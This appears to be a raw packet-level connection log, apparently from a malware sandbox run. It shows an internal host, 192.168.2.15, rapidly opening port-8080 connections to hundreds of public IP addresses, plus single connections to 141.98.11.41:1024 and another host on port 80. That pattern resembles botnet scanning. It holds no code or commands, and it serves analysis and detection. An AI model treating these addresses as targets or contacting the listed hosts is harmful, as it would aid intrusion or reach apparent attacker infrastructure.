Feb 19, 2025 19:48:54.985079050 CET	7173	8080	192.168.2.15	31.181.200.40
Feb 19, 2025 19:48:54.985093117 CET	7173	8080	192.168.2.15	94.187.154.244
Feb 19, 2025 19:48:54.985097885 CET	7173	8080	192.168.2.15	95.13.223.110
Feb 19, 2025 19:48:54.985114098 CET	7173	8080	192.168.2.15	62.1.184.208
Feb 19, 2025 19:48:54.985131025 CET	7173	8080	192.168.2.15	85.18.216.220
Feb 19, 2025 19:48:54.985137939 CET	7173	8080	192.168.2.15	85.139.57.198
Feb 19, 2025 19:48:54.985148907 CET	7173	8080	192.168.2.15	31.39.25.121
Feb 19, 2025 19:48:54.985152006 CET	7173	8080	192.168.2.15	95.41.58.105
Feb 19, 2025 19:48:54.985167027 CET	7173	8080	192.168.2.15	31.208.80.86
Feb 19, 2025 19:48:54.985181093 CET	7173	8080	192.168.2.15	94.192.190.3
Feb 19, 2025 19:48:54.985188961 CET	7173	8080	192.168.2.15	95.247.140.103
Feb 19, 2025 19:48:54.985193968 CET	7173	8080	192.168.2.15	85.23.33.109
Feb 19, 2025 19:48:54.985198975 CET	7173	8080	192.168.2.15	85.1.21.243
Feb 19, 2025 19:48:54.985212088 CET	7173	8080	192.168.2.15	94.196.61.36
Feb 19, 2025 19:48:54.985224962 CET	7173	8080	192.168.2.15	31.17.207.3
Feb 19, 2025 19:48:54.985224962 CET	7173	8080	192.168.2.15	94.252.115.55
Feb 19, 2025 19:48:54.985271931 CET	7173	8080	192.168.2.15	62.0.183.254
Feb 19, 2025 19:48:54.985275984 CET	7173	8080	192.168.2.15	85.35.133.99
Feb 19, 2025 19:48:54.985285997 CET	7173	8080	192.168.2.15	62.165.178.222
Feb 19, 2025 19:48:54.985291958 CET	7173	8080	192.168.2.15	31.28.32.50
Feb 19, 2025 19:48:54.985317945 CET	7173	8080	192.168.2.15	62.68.197.226
Feb 19, 2025 19:48:54.985368013 CET	7173	8080	192.168.2.15	31.122.108.52
Feb 19, 2025 19:48:54.985388041 CET	7173	8080	192.168.2.15	94.219.43.193
Feb 19, 2025 19:48:54.985403061 CET	7173	8080	192.168.2.15	31.102.155.118
Feb 19, 2025 19:48:54.985428095 CET	7173	8080	192.168.2.15	95.218.16.198
Feb 19, 2025 19:48:54.985462904 CET	8080	7173	95.35.123.213	192.168.2.15
Feb 19, 2025 19:48:54.985474110 CET	8080	7173	95.174.216.240	192.168.2.15
Feb 19, 2025 19:48:54.985482931 CET	8080	7173	95.203.203.43	192.168.2.15
Feb 19, 2025 19:48:54.985483885 CET	7173	8080	192.168.2.15	62.83.32.201
Feb 19, 2025 19:48:54.985493898 CET	8080	7173	85.216.239.61	192.168.2.15
Feb 19, 2025 19:48:54.985497952 CET	7173	8080	192.168.2.15	95.35.123.213
Feb 19, 2025 19:48:54.985505104 CET	7173	8080	192.168.2.15	95.174.216.240
Feb 19, 2025 19:48:54.985511065 CET	8080	7173	62.102.34.119	192.168.2.15
Feb 19, 2025 19:48:54.985511065 CET	7173	8080	192.168.2.15	62.178.237.49
Feb 19, 2025 19:48:54.985517979 CET	7173	8080	192.168.2.15	95.203.203.43
Feb 19, 2025 19:48:54.985521078 CET	8080	7173	85.249.9.179	192.168.2.15
Feb 19, 2025 19:48:54.985526085 CET	7173	8080	192.168.2.15	85.216.239.61
Feb 19, 2025 19:48:54.985538006 CET	7173	8080	192.168.2.15	62.102.34.119
Feb 19, 2025 19:48:54.985539913 CET	7173	8080	192.168.2.15	85.249.9.179
Feb 19, 2025 19:48:54.985558033 CET	7173	8080	192.168.2.15	85.117.191.191
Feb 19, 2025 19:48:54.985564947 CET	8080	7173	85.91.139.162	192.168.2.15
Feb 19, 2025 19:48:54.985574961 CET	8080	7173	31.118.170.201	192.168.2.15
Feb 19, 2025 19:48:54.985579967 CET	7173	8080	192.168.2.15	94.211.152.209
Feb 19, 2025 19:48:54.985586882 CET	8080	7173	94.234.46.48	192.168.2.15
Feb 19, 2025 19:48:54.985595942 CET	7173	8080	192.168.2.15	94.11.17.183
Feb 19, 2025 19:48:54.985595942 CET	7173	8080	192.168.2.15	85.91.139.162
Feb 19, 2025 19:48:54.985596895 CET	8080	7173	62.226.10.233	192.168.2.15
Feb 19, 2025 19:48:54.985598087 CET	7173	8080	192.168.2.15	62.45.210.236
Feb 19, 2025 19:48:54.985606909 CET	8080	7173	95.42.195.7	192.168.2.15
Feb 19, 2025 19:48:54.985614061 CET	7173	8080	192.168.2.15	31.118.170.201
Feb 19, 2025 19:48:54.985614061 CET	7173	8080	192.168.2.15	94.234.46.48
Feb 19, 2025 19:48:54.985616922 CET	8080	7173	85.174.63.191	192.168.2.15
Feb 19, 2025 19:48:54.985625029 CET	7173	8080	192.168.2.15	62.226.10.233
Feb 19, 2025 19:48:54.985635996 CET	7173	8080	192.168.2.15	95.42.195.7
Feb 19, 2025 19:48:54.985650063 CET	7173	8080	192.168.2.15	85.174.63.191
Feb 19, 2025 19:48:54.985650063 CET	7173	8080	192.168.2.15	31.49.126.20
Feb 19, 2025 19:48:54.985651970 CET	8080	7173	31.105.208.64	192.168.2.15
Feb 19, 2025 19:48:54.985654116 CET	7173	8080	192.168.2.15	31.225.165.145
Feb 19, 2025 19:48:54.985662937 CET	8080	7173	62.212.7.218	192.168.2.15
Feb 19, 2025 19:48:54.985666037 CET	7173	8080	192.168.2.15	85.148.101.62
Feb 19, 2025 19:48:54.985671997 CET	8080	7173	62.20.49.222	192.168.2.15
Feb 19, 2025 19:48:54.985682011 CET	8080	7173	85.173.33.207	192.168.2.15
Feb 19, 2025 19:48:54.985682011 CET	7173	8080	192.168.2.15	31.105.208.64
Feb 19, 2025 19:48:54.985686064 CET	7173	8080	192.168.2.15	62.212.7.218
Feb 19, 2025 19:48:54.985692024 CET	8080	7173	85.227.254.119	192.168.2.15
Feb 19, 2025 19:48:54.985701084 CET	8080	7173	94.200.2.189	192.168.2.15
Feb 19, 2025 19:48:54.985707045 CET	7173	8080	192.168.2.15	62.20.49.222
Feb 19, 2025 19:48:54.985707045 CET	7173	8080	192.168.2.15	85.173.33.207
Feb 19, 2025 19:48:54.985711098 CET	8080	7173	94.205.82.141	192.168.2.15
Feb 19, 2025 19:48:54.985717058 CET	7173	8080	192.168.2.15	85.227.254.119
Feb 19, 2025 19:48:54.985722065 CET	8080	7173	85.49.150.40	192.168.2.15
Feb 19, 2025 19:48:54.985729933 CET	7173	8080	192.168.2.15	94.200.2.189
Feb 19, 2025 19:48:54.985738039 CET	8080	7173	95.11.28.227	192.168.2.15
Feb 19, 2025 19:48:54.985748053 CET	8080	7173	31.22.122.98	192.168.2.15
Feb 19, 2025 19:48:54.985750914 CET	7173	8080	192.168.2.15	94.205.82.141
Feb 19, 2025 19:48:54.985750914 CET	7173	8080	192.168.2.15	85.49.150.40
Feb 19, 2025 19:48:54.985757113 CET	8080	7173	62.179.135.218	192.168.2.15
Feb 19, 2025 19:48:54.985765934 CET	8080	7173	31.4.196.14	192.168.2.15
Feb 19, 2025 19:48:54.985768080 CET	7173	8080	192.168.2.15	95.11.28.227
Feb 19, 2025 19:48:54.985774994 CET	8080	7173	31.196.214.220	192.168.2.15
Feb 19, 2025 19:48:54.985781908 CET	7173	8080	192.168.2.15	31.22.122.98
Feb 19, 2025 19:48:54.985784054 CET	7173	8080	192.168.2.15	62.179.135.218
Feb 19, 2025 19:48:54.985785007 CET	8080	7173	31.156.105.178	192.168.2.15
Feb 19, 2025 19:48:54.985794067 CET	8080	7173	31.10.213.110	192.168.2.15
Feb 19, 2025 19:48:54.985802889 CET	8080	7173	31.164.243.15	192.168.2.15
Feb 19, 2025 19:48:54.985804081 CET	7173	8080	192.168.2.15	31.4.196.14
Feb 19, 2025 19:48:54.985804081 CET	7173	8080	192.168.2.15	31.196.214.220
Feb 19, 2025 19:48:54.985812902 CET	7173	8080	192.168.2.15	31.156.105.178
Feb 19, 2025 19:48:54.985824108 CET	7173	8080	192.168.2.15	31.10.213.110
Feb 19, 2025 19:48:54.985826969 CET	7173	8080	192.168.2.15	31.164.243.15
Feb 19, 2025 19:48:54.985837936 CET	7173	8080	192.168.2.15	94.176.246.84
Feb 19, 2025 19:48:54.985851049 CET	7173	8080	192.168.2.15	62.119.124.48
Feb 19, 2025 19:48:54.985862970 CET	7173	8080	192.168.2.15	85.244.196.85
Feb 19, 2025 19:48:54.985888958 CET	7173	8080	192.168.2.15	31.181.151.201
Feb 19, 2025 19:48:54.985909939 CET	7173	8080	192.168.2.15	85.68.145.128
Feb 19, 2025 19:48:54.985923052 CET	7173	8080	192.168.2.15	95.213.251.200
Feb 19, 2025 19:48:54.985935926 CET	7173	8080	192.168.2.15	94.44.222.35
Feb 19, 2025 19:48:54.985946894 CET	7173	8080	192.168.2.15	95.36.84.35
Feb 19, 2025 19:48:54.985982895 CET	7173	8080	192.168.2.15	31.154.185.192
Feb 19, 2025 19:48:54.985990047 CET	7173	8080	192.168.2.15	62.219.5.210
Feb 19, 2025 19:48:54.986005068 CET	7173	8080	192.168.2.15	94.5.28.98
Feb 19, 2025 19:48:54.986047029 CET	7173	8080	192.168.2.15	62.129.203.98
Feb 19, 2025 19:48:54.986059904 CET	7173	8080	192.168.2.15	62.239.2.187
Feb 19, 2025 19:48:54.986068964 CET	7173	8080	192.168.2.15	85.74.185.80
Feb 19, 2025 19:48:54.986105919 CET	7173	8080	192.168.2.15	62.248.94.227
Feb 19, 2025 19:48:54.986119032 CET	7173	8080	192.168.2.15	31.240.3.252
Feb 19, 2025 19:48:54.986124992 CET	7173	8080	192.168.2.15	95.214.93.113
Feb 19, 2025 19:48:54.986138105 CET	8080	7173	62.63.64.84	192.168.2.15
Feb 19, 2025 19:48:54.986148119 CET	8080	7173	62.95.163.197	192.168.2.15
Feb 19, 2025 19:48:54.986166954 CET	7173	8080	192.168.2.15	62.63.64.84
Feb 19, 2025 19:48:54.986171007 CET	7173	8080	192.168.2.15	62.95.163.197
Feb 19, 2025 19:48:54.986177921 CET	7173	8080	192.168.2.15	85.110.85.82
Feb 19, 2025 19:48:54.986232042 CET	7173	8080	192.168.2.15	94.81.228.235
Feb 19, 2025 19:48:54.986232996 CET	7173	8080	192.168.2.15	62.219.74.25
Feb 19, 2025 19:48:54.986246109 CET	7173	8080	192.168.2.15	31.242.128.199
Feb 19, 2025 19:48:54.986269951 CET	7173	8080	192.168.2.15	94.90.206.250
Feb 19, 2025 19:48:54.986277103 CET	7173	8080	192.168.2.15	62.167.186.46
Feb 19, 2025 19:48:54.986289978 CET	7173	8080	192.168.2.15	94.114.239.51
Feb 19, 2025 19:48:54.986291885 CET	7173	8080	192.168.2.15	62.136.204.16
Feb 19, 2025 19:48:54.986305952 CET	7173	8080	192.168.2.15	95.30.33.159
Feb 19, 2025 19:48:54.986311913 CET	7173	8080	192.168.2.15	31.51.44.135
Feb 19, 2025 19:48:54.986325026 CET	7173	8080	192.168.2.15	31.224.152.9
Feb 19, 2025 19:48:54.986337900 CET	7173	8080	192.168.2.15	31.100.129.88
Feb 19, 2025 19:48:54.986342907 CET	7173	8080	192.168.2.15	62.169.145.28
Feb 19, 2025 19:48:54.986345053 CET	8080	7173	94.110.32.203	192.168.2.15
Feb 19, 2025 19:48:54.986354113 CET	7173	8080	192.168.2.15	85.134.13.202
Feb 19, 2025 19:48:54.986366987 CET	7173	8080	192.168.2.15	94.179.1.88
Feb 19, 2025 19:48:54.986375093 CET	7173	8080	192.168.2.15	31.245.4.153
Feb 19, 2025 19:48:54.986386061 CET	8080	7173	62.123.210.89	192.168.2.15
Feb 19, 2025 19:48:54.986390114 CET	7173	8080	192.168.2.15	94.238.6.128
Feb 19, 2025 19:48:54.986396074 CET	7173	8080	192.168.2.15	94.110.32.203
Feb 19, 2025 19:48:54.986396074 CET	8080	7173	62.142.97.101	192.168.2.15
Feb 19, 2025 19:48:54.986407042 CET	8080	7173	94.117.49.155	192.168.2.15
Feb 19, 2025 19:48:54.986408949 CET	7173	8080	192.168.2.15	62.123.210.89
Feb 19, 2025 19:48:54.986412048 CET	7173	8080	192.168.2.15	31.87.232.198
Feb 19, 2025 19:48:54.986417055 CET	8080	7173	85.187.165.197	192.168.2.15
Feb 19, 2025 19:48:54.986424923 CET	7173	8080	192.168.2.15	62.142.97.101
Feb 19, 2025 19:48:54.986428022 CET	8080	7173	85.205.160.109	192.168.2.15
Feb 19, 2025 19:48:54.986435890 CET	7173	8080	192.168.2.15	94.117.49.155
Feb 19, 2025 19:48:54.986442089 CET	8080	7173	85.22.21.98	192.168.2.15
Feb 19, 2025 19:48:54.986443996 CET	7173	8080	192.168.2.15	85.255.247.190
Feb 19, 2025 19:48:54.986449957 CET	7173	8080	192.168.2.15	85.187.165.197
Feb 19, 2025 19:48:54.986449957 CET	7173	8080	192.168.2.15	94.241.23.139
Feb 19, 2025 19:48:54.986454964 CET	8080	7173	94.59.22.152	192.168.2.15
Feb 19, 2025 19:48:54.986463070 CET	7173	8080	192.168.2.15	85.205.160.109
Feb 19, 2025 19:48:54.986464977 CET	8080	7173	85.145.58.192	192.168.2.15
Feb 19, 2025 19:48:54.986474037 CET	7173	8080	192.168.2.15	85.22.21.98
Feb 19, 2025 19:48:54.986475945 CET	8080	7173	62.17.55.133	192.168.2.15
Feb 19, 2025 19:48:54.986480951 CET	7173	8080	192.168.2.15	94.59.22.152
Feb 19, 2025 19:48:54.986486912 CET	8080	7173	31.158.253.6	192.168.2.15
Feb 19, 2025 19:48:54.986491919 CET	7173	8080	192.168.2.15	85.145.58.192
Feb 19, 2025 19:48:54.986496925 CET	8080	7173	31.149.73.20	192.168.2.15
Feb 19, 2025 19:48:54.986506939 CET	8080	7173	62.230.4.2	192.168.2.15
Feb 19, 2025 19:48:54.986506939 CET	7173	8080	192.168.2.15	62.17.55.133
Feb 19, 2025 19:48:54.986506939 CET	7173	8080	192.168.2.15	85.186.76.0
Feb 19, 2025 19:48:54.986516953 CET	7173	8080	192.168.2.15	31.158.253.6
Feb 19, 2025 19:48:54.986516953 CET	8080	7173	62.213.247.39	192.168.2.15
Feb 19, 2025 19:48:54.986531019 CET	8080	7173	94.31.7.230	192.168.2.15
Feb 19, 2025 19:48:54.986531019 CET	7173	8080	192.168.2.15	85.64.200.92
Feb 19, 2025 19:48:54.986531973 CET	7173	8080	192.168.2.15	62.230.4.2
Feb 19, 2025 19:48:54.986532927 CET	7173	8080	192.168.2.15	31.149.73.20
Feb 19, 2025 19:48:54.986541033 CET	8080	7173	85.234.184.157	192.168.2.15
Feb 19, 2025 19:48:54.986542940 CET	7173	8080	192.168.2.15	85.227.181.52
Feb 19, 2025 19:48:54.986550093 CET	8080	7173	31.221.155.32	192.168.2.15
Feb 19, 2025 19:48:54.986553907 CET	7173	8080	192.168.2.15	62.213.247.39
Feb 19, 2025 19:48:54.986557007 CET	7173	8080	192.168.2.15	94.31.7.230
Feb 19, 2025 19:48:54.986565113 CET	7173	8080	192.168.2.15	85.234.184.157
Feb 19, 2025 19:48:54.986568928 CET	8080	7173	31.43.209.20	192.168.2.15
Feb 19, 2025 19:48:54.986579895 CET	8080	7173	62.10.196.128	192.168.2.15
Feb 19, 2025 19:48:54.986581087 CET	7173	8080	192.168.2.15	31.221.155.32
Feb 19, 2025 19:48:54.986586094 CET	7173	8080	192.168.2.15	94.225.236.42
Feb 19, 2025 19:48:54.986589909 CET	8080	7173	31.60.100.177	192.168.2.15
Feb 19, 2025 19:48:54.986598969 CET	7173	8080	192.168.2.15	31.43.209.20
Feb 19, 2025 19:48:54.986599922 CET	8080	7173	95.208.188.57	192.168.2.15
Feb 19, 2025 19:48:54.986609936 CET	8080	7173	62.20.84.254	192.168.2.15
Feb 19, 2025 19:48:54.986618042 CET	8080	7173	94.207.77.103	192.168.2.15
Feb 19, 2025 19:48:54.986619949 CET	7173	8080	192.168.2.15	31.60.100.177
Feb 19, 2025 19:48:54.986625910 CET	7173	8080	192.168.2.15	95.208.188.57
Feb 19, 2025 19:48:54.986629009 CET	8080	7173	62.61.116.218	192.168.2.15
Feb 19, 2025 19:48:54.986630917 CET	7173	8080	192.168.2.15	62.20.84.254
Feb 19, 2025 19:48:54.986633062 CET	7173	8080	192.168.2.15	62.193.221.137
Feb 19, 2025 19:48:54.986634016 CET	7173	8080	192.168.2.15	62.10.196.128
Feb 19, 2025 19:48:54.986639023 CET	7173	8080	192.168.2.15	95.60.173.27
Feb 19, 2025 19:48:54.986639023 CET	8080	7173	95.7.253.175	192.168.2.15
Feb 19, 2025 19:48:54.986640930 CET	7173	8080	192.168.2.15	94.234.87.2
Feb 19, 2025 19:48:54.986641884 CET	7173	8080	192.168.2.15	94.207.77.103
Feb 19, 2025 19:48:54.986649990 CET	8080	7173	85.20.50.34	192.168.2.15
Feb 19, 2025 19:48:54.986655951 CET	7173	8080	192.168.2.15	62.61.116.218
Feb 19, 2025 19:48:54.986668110 CET	7173	8080	192.168.2.15	95.7.253.175
Feb 19, 2025 19:48:54.986676931 CET	7173	8080	192.168.2.15	85.20.50.34
Feb 19, 2025 19:48:54.986691952 CET	7173	8080	192.168.2.15	31.55.161.55
Feb 19, 2025 19:48:54.986702919 CET	7173	8080	192.168.2.15	95.83.126.215
Feb 19, 2025 19:48:54.986711979 CET	7173	8080	192.168.2.15	95.172.211.54
Feb 19, 2025 19:48:54.986720085 CET	7173	8080	192.168.2.15	62.211.14.241
Feb 19, 2025 19:48:54.986727953 CET	7173	8080	192.168.2.15	94.16.43.141
Feb 19, 2025 19:48:54.986738920 CET	7173	8080	192.168.2.15	85.238.5.147
Feb 19, 2025 19:48:54.986747026 CET	7173	8080	192.168.2.15	62.70.109.207
Feb 19, 2025 19:48:54.986752987 CET	7173	8080	192.168.2.15	31.131.75.245
Feb 19, 2025 19:48:54.986766100 CET	7173	8080	192.168.2.15	62.36.87.246
Feb 19, 2025 19:48:54.986777067 CET	7173	8080	192.168.2.15	94.64.82.20
Feb 19, 2025 19:48:54.986784935 CET	7173	8080	192.168.2.15	85.63.149.197
Feb 19, 2025 19:48:54.986793041 CET	7173	8080	192.168.2.15	31.47.50.163
Feb 19, 2025 19:48:54.986800909 CET	7173	8080	192.168.2.15	94.99.216.242
Feb 19, 2025 19:48:54.986814976 CET	7173	8080	192.168.2.15	85.236.29.204
Feb 19, 2025 19:48:54.986819983 CET	7173	8080	192.168.2.15	31.172.181.143
Feb 19, 2025 19:48:54.986834049 CET	7173	8080	192.168.2.15	95.115.43.118
Feb 19, 2025 19:48:54.986841917 CET	7173	8080	192.168.2.15	94.211.131.193
Feb 19, 2025 19:48:54.986851931 CET	7173	8080	192.168.2.15	95.211.144.6
Feb 19, 2025 19:48:54.986859083 CET	7173	8080	192.168.2.15	95.110.208.134
Feb 19, 2025 19:48:54.986871004 CET	7173	8080	192.168.2.15	95.151.125.76
Feb 19, 2025 19:48:54.986881018 CET	7173	8080	192.168.2.15	95.51.159.158
Feb 19, 2025 19:48:54.986892939 CET	7173	8080	192.168.2.15	31.0.195.87
Feb 19, 2025 19:48:54.986901045 CET	7173	8080	192.168.2.15	85.155.35.150
Feb 19, 2025 19:48:54.986907959 CET	7173	8080	192.168.2.15	95.94.149.210
Feb 19, 2025 19:48:54.986932039 CET	7173	8080	192.168.2.15	31.26.108.233
Feb 19, 2025 19:48:54.986942053 CET	8080	7173	85.119.201.202	192.168.2.15
Feb 19, 2025 19:48:54.986943960 CET	7173	8080	192.168.2.15	95.253.151.203
Feb 19, 2025 19:48:54.986953020 CET	8080	7173	95.121.118.141	192.168.2.15
Feb 19, 2025 19:48:54.986958027 CET	7173	8080	192.168.2.15	31.7.144.92
Feb 19, 2025 19:48:54.986973047 CET	7173	8080	192.168.2.15	85.187.108.250
Feb 19, 2025 19:48:54.986974001 CET	7173	8080	192.168.2.15	85.119.201.202
Feb 19, 2025 19:48:54.986985922 CET	8080	7173	85.41.61.255	192.168.2.15
Feb 19, 2025 19:48:54.986988068 CET	7173	8080	192.168.2.15	95.121.118.141
Feb 19, 2025 19:48:54.986996889 CET	8080	7173	31.23.24.100	192.168.2.15
Feb 19, 2025 19:48:54.987006903 CET	8080	7173	62.114.1.248	192.168.2.15
Feb 19, 2025 19:48:54.987015963 CET	8080	7173	95.243.208.232	192.168.2.15
Feb 19, 2025 19:48:54.987016916 CET	7173	8080	192.168.2.15	85.41.61.255
Feb 19, 2025 19:48:54.987021923 CET	7173	8080	192.168.2.15	31.23.24.100
Feb 19, 2025 19:48:54.987034082 CET	8080	7173	85.153.73.153	192.168.2.15
Feb 19, 2025 19:48:54.987034082 CET	7173	8080	192.168.2.15	62.114.1.248
Feb 19, 2025 19:48:54.987044096 CET	8080	7173	94.135.15.121	192.168.2.15
Feb 19, 2025 19:48:54.987054110 CET	7173	8080	192.168.2.15	95.243.208.232
Feb 19, 2025 19:48:54.987056971 CET	8080	7173	95.143.206.70	192.168.2.15
Feb 19, 2025 19:48:54.987071037 CET	7173	8080	192.168.2.15	85.153.73.153
Feb 19, 2025 19:48:54.987072945 CET	7173	8080	192.168.2.15	94.135.15.121
Feb 19, 2025 19:48:54.987085104 CET	7173	8080	192.168.2.15	62.148.152.242
Feb 19, 2025 19:48:54.987095118 CET	7173	8080	192.168.2.15	95.143.206.70
Feb 19, 2025 19:48:54.987106085 CET	7173	8080	192.168.2.15	85.59.98.234
Feb 19, 2025 19:48:54.987128973 CET	8080	7173	95.85.114.35	192.168.2.15
Feb 19, 2025 19:48:54.987138987 CET	8080	7173	94.29.4.79	192.168.2.15
Feb 19, 2025 19:48:54.987144947 CET	7173	8080	192.168.2.15	94.250.29.113
Feb 19, 2025 19:48:54.987149000 CET	8080	7173	94.107.68.241	192.168.2.15
Feb 19, 2025 19:48:54.987158060 CET	8080	7173	85.129.162.252	192.168.2.15
Feb 19, 2025 19:48:54.987159967 CET	7173	8080	192.168.2.15	85.74.230.17
Feb 19, 2025 19:48:54.987160921 CET	7173	8080	192.168.2.15	95.85.114.35
Feb 19, 2025 19:48:54.987169981 CET	8080	7173	62.203.222.10	192.168.2.15
Feb 19, 2025 19:48:54.987173080 CET	7173	8080	192.168.2.15	94.107.68.241
Feb 19, 2025 19:48:54.987173080 CET	7173	8080	192.168.2.15	94.29.4.79
Feb 19, 2025 19:48:54.987180948 CET	8080	7173	95.122.182.107	192.168.2.15
Feb 19, 2025 19:48:54.987183094 CET	7173	8080	192.168.2.15	85.129.162.252
Feb 19, 2025 19:48:54.987199068 CET	7173	8080	192.168.2.15	62.203.222.10
Feb 19, 2025 19:48:54.987201929 CET	7173	8080	192.168.2.15	95.122.182.107
Feb 19, 2025 19:48:54.987224102 CET	7173	8080	192.168.2.15	95.161.83.210
Feb 19, 2025 19:48:54.987241983 CET	7173	8080	192.168.2.15	95.102.225.66
Feb 19, 2025 19:48:54.987272024 CET	7173	8080	192.168.2.15	94.22.70.114
Feb 19, 2025 19:48:54.987283945 CET	7173	8080	192.168.2.15	95.202.156.252
Feb 19, 2025 19:48:54.987287045 CET	8080	7173	95.253.186.207	192.168.2.15
Feb 19, 2025 19:48:54.987298965 CET	8080	7173	94.149.158.4	192.168.2.15
Feb 19, 2025 19:48:54.987309933 CET	8080	7173	62.80.151.29	192.168.2.15
Feb 19, 2025 19:48:54.987323046 CET	7173	8080	192.168.2.15	95.253.186.207
Feb 19, 2025 19:48:54.987332106 CET	7173	8080	192.168.2.15	94.149.158.4
Feb 19, 2025 19:48:54.987332106 CET	8080	7173	62.42.254.34	192.168.2.15
Feb 19, 2025 19:48:54.987337112 CET	7173	8080	192.168.2.15	95.98.89.59
Feb 19, 2025 19:48:54.987338066 CET	7173	8080	192.168.2.15	85.130.200.16
Feb 19, 2025 19:48:54.987341881 CET	8080	7173	62.72.53.91	192.168.2.15
Feb 19, 2025 19:48:54.987341881 CET	7173	8080	192.168.2.15	31.197.120.204
Feb 19, 2025 19:48:54.987344027 CET	7173	8080	192.168.2.15	62.80.151.29
Feb 19, 2025 19:48:54.987354040 CET	8080	7173	94.139.207.225	192.168.2.15
Feb 19, 2025 19:48:54.987354994 CET	7173	8080	192.168.2.15	62.108.44.60
Feb 19, 2025 19:48:54.987359047 CET	7173	8080	192.168.2.15	62.42.254.34
Feb 19, 2025 19:48:54.987364054 CET	8080	7173	85.130.6.72	192.168.2.15
Feb 19, 2025 19:48:54.987376928 CET	8080	7173	95.24.112.41	192.168.2.15
Feb 19, 2025 19:48:54.987377882 CET	7173	8080	192.168.2.15	95.139.222.211
Feb 19, 2025 19:48:54.987379074 CET	7173	8080	192.168.2.15	94.139.207.225
Feb 19, 2025 19:48:54.987380028 CET	7173	8080	192.168.2.15	62.72.53.91
Feb 19, 2025 19:48:54.987380028 CET	7173	8080	192.168.2.15	95.47.186.20
Feb 19, 2025 19:48:54.987386942 CET	8080	7173	85.61.55.244	192.168.2.15
Feb 19, 2025 19:48:54.987394094 CET	7173	8080	192.168.2.15	85.130.6.72
Feb 19, 2025 19:48:54.987396955 CET	8080	7173	95.79.32.55	192.168.2.15
Feb 19, 2025 19:48:54.987402916 CET	7173	8080	192.168.2.15	94.211.30.206
Feb 19, 2025 19:48:54.987406969 CET	8080	7173	62.232.206.63	192.168.2.15
Feb 19, 2025 19:48:54.987407923 CET	7173	8080	192.168.2.15	95.24.112.41
Feb 19, 2025 19:48:54.987413883 CET	7173	8080	192.168.2.15	85.61.55.244
Feb 19, 2025 19:48:54.987420082 CET	8080	7173	94.81.70.211	192.168.2.15
Feb 19, 2025 19:48:54.987427950 CET	7173	8080	192.168.2.15	95.79.32.55
Feb 19, 2025 19:48:54.987430096 CET	8080	7173	95.12.80.237	192.168.2.15
Feb 19, 2025 19:48:54.987447023 CET	7173	8080	192.168.2.15	62.232.206.63
Feb 19, 2025 19:48:54.987452984 CET	7173	8080	192.168.2.15	94.81.70.211
Feb 19, 2025 19:48:54.987469912 CET	7173	8080	192.168.2.15	95.12.80.237
Feb 19, 2025 19:48:54.987472057 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:54.987504005 CET	7173	8080	192.168.2.15	85.80.79.202
Feb 19, 2025 19:48:54.987509012 CET	7173	8080	192.168.2.15	31.15.227.74
Feb 19, 2025 19:48:54.987550020 CET	7173	8080	192.168.2.15	85.64.203.8
Feb 19, 2025 19:48:54.987570047 CET	7173	8080	192.168.2.15	85.20.67.123
Feb 19, 2025 19:48:54.987596989 CET	7173	8080	192.168.2.15	95.71.211.26
Feb 19, 2025 19:48:54.987602949 CET	7173	8080	192.168.2.15	31.65.77.44
Feb 19, 2025 19:48:54.987617970 CET	7173	8080	192.168.2.15	85.49.88.128
Feb 19, 2025 19:48:54.987658024 CET	53518	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:54.987705946 CET	7173	8080	192.168.2.15	95.214.11.230
Feb 19, 2025 19:48:54.987715960 CET	7173	8080	192.168.2.15	31.69.95.22
Feb 19, 2025 19:48:54.987720966 CET	7173	8080	192.168.2.15	62.197.128.69
Feb 19, 2025 19:48:54.987762928 CET	7173	8080	192.168.2.15	31.136.1.166
Feb 19, 2025 19:48:54.987776041 CET	7173	8080	192.168.2.15	31.119.178.52
Feb 19, 2025 19:48:54.987787962 CET	7173	8080	192.168.2.15	94.138.196.39
Feb 19, 2025 19:48:54.987823963 CET	7173	8080	192.168.2.15	31.117.174.54
Feb 19, 2025 19:48:54.987838030 CET	7173	8080	192.168.2.15	62.248.48.203
Feb 19, 2025 19:48:54.987842083 CET	7173	8080	192.168.2.15	31.255.171.17
Feb 19, 2025 19:48:54.987884998 CET	7173	8080	192.168.2.15	94.151.187.128
Feb 19, 2025 19:48:54.987896919 CET	7173	8080	192.168.2.15	62.58.52.91
Feb 19, 2025 19:48:54.987912893 CET	8080	7173	94.189.104.130	192.168.2.15
Feb 19, 2025 19:48:54.987936020 CET	7173	8080	192.168.2.15	31.54.73.153
Feb 19, 2025 19:48:54.987940073 CET	7173	8080	192.168.2.15	94.189.104.130
Feb 19, 2025 19:48:54.987951994 CET	7173	8080	192.168.2.15	85.182.161.131
Feb 19, 2025 19:48:54.987972975 CET	7173	8080	192.168.2.15	62.214.36.196
Feb 19, 2025 19:48:54.987972975 CET	8080	7173	85.87.112.175	192.168.2.15
Feb 19, 2025 19:48:54.987984896 CET	8080	7173	85.138.117.177	192.168.2.15
Feb 19, 2025 19:48:54.987996101 CET	8080	7173	85.172.113.54	192.168.2.15
Feb 19, 2025 19:48:54.988001108 CET	7173	8080	192.168.2.15	62.196.164.69
Feb 19, 2025 19:48:54.988004923 CET	8080	7173	85.3.191.159	192.168.2.15
Feb 19, 2025 19:48:54.988014936 CET	8080	7173	31.23.173.226	192.168.2.15
Feb 19, 2025 19:48:54.988022089 CET	7173	8080	192.168.2.15	85.138.117.177
Feb 19, 2025 19:48:54.988023996 CET	8080	7173	62.149.129.134	192.168.2.15
Feb 19, 2025 19:48:54.988039017 CET	7173	8080	192.168.2.15	85.3.191.159
Feb 19, 2025 19:48:54.988045931 CET	7173	8080	192.168.2.15	31.23.173.226
Feb 19, 2025 19:48:54.988059998 CET	7173	8080	192.168.2.15	62.149.129.134
Feb 19, 2025 19:48:54.988095045 CET	7173	8080	192.168.2.15	62.255.68.132
Feb 19, 2025 19:48:54.988095999 CET	7173	8080	192.168.2.15	62.43.220.36
Feb 19, 2025 19:48:54.988102913 CET	7173	8080	192.168.2.15	85.240.148.173
Feb 19, 2025 19:48:54.988106012 CET	7173	8080	192.168.2.15	94.211.73.6
Feb 19, 2025 19:48:54.988116980 CET	8080	7173	95.119.185.174	192.168.2.15
Feb 19, 2025 19:48:54.988117933 CET	7173	8080	192.168.2.15	31.152.63.57
Feb 19, 2025 19:48:54.988117933 CET	7173	8080	192.168.2.15	94.32.2.139
Feb 19, 2025 19:48:54.988120079 CET	7173	8080	192.168.2.15	95.93.96.203
